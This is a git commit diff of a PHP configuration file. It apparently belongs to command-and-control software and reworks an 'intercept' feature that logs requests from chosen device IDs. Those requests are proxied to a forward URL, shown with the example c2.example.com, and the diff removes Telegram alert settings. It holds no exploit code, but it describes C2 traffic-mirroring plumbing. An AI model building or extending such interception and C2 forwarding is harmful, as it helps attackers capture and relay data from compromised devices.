feat: interapt

This commit is contained in:
hashbro
2026-10-12 04:18:53 +08:00
parent ef38e0e190
commit 509110f853
7 changed files with 213 additions and 96 deletions
+4 -18
View File
@@ -107,8 +107,8 @@ return [
],
// Device data interception: when a request comes from one of the listed
// device IDs, log it to a separate file, push a Telegram alert through a
// dedicated bot, and optionally mirror the raw request to another domain.
// device IDs, log it and proxy the raw request to INTERCEPT_FORWARD_URL.
// Local C2 handlers are skipped (no ingest / DB writes).
'intercept' => [
// Comma-separated device IDs (normalized form, case-insensitive).
// e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E
@@ -116,22 +116,8 @@ return [
static fn ($v) => strtolower(trim((string) $v)),
explode(',', (string) env('INTERCEPT_DEVICE_KEYS', ''))
))),
// Dedicated Telegram bot for interception alerts (empty = skip TG push).
'bot_token' => trim((string) env('INTERCEPT_BOT_TOKEN', '')),
// Chat ID to receive interception alerts.
'chat_id' => trim((string) env('INTERCEPT_CHAT_ID', '')),
// Paths that skip Telegram push but still log + forward (high-frequency noise).
// e.g. /event is telemetry spam. Default: /event
'push_skip_paths' => (function () {
$trimmed = array_filter(
array_map(static fn ($v) => trim((string) $v), explode(',', (string) env('INTERCEPT_PUSH_SKIP_PATHS', '/event'))),
static fn ($v) => $v !== ''
);
return array_values(array_map(static fn ($v) => '/'.ltrim($v, '/'), $trimmed));
})(),
// Mirror raw requests to this base URL (empty = no forwarding).
// e.g. INTERCEPT_FORWARD_URL=https://mirror.example.com
// Proxy matched requests to this base URL (empty = 502, no local fallback).
// e.g. INTERCEPT_FORWARD_URL=https://c2.example.com
'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'),
// Forwarding HTTP timeout in seconds.
'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10),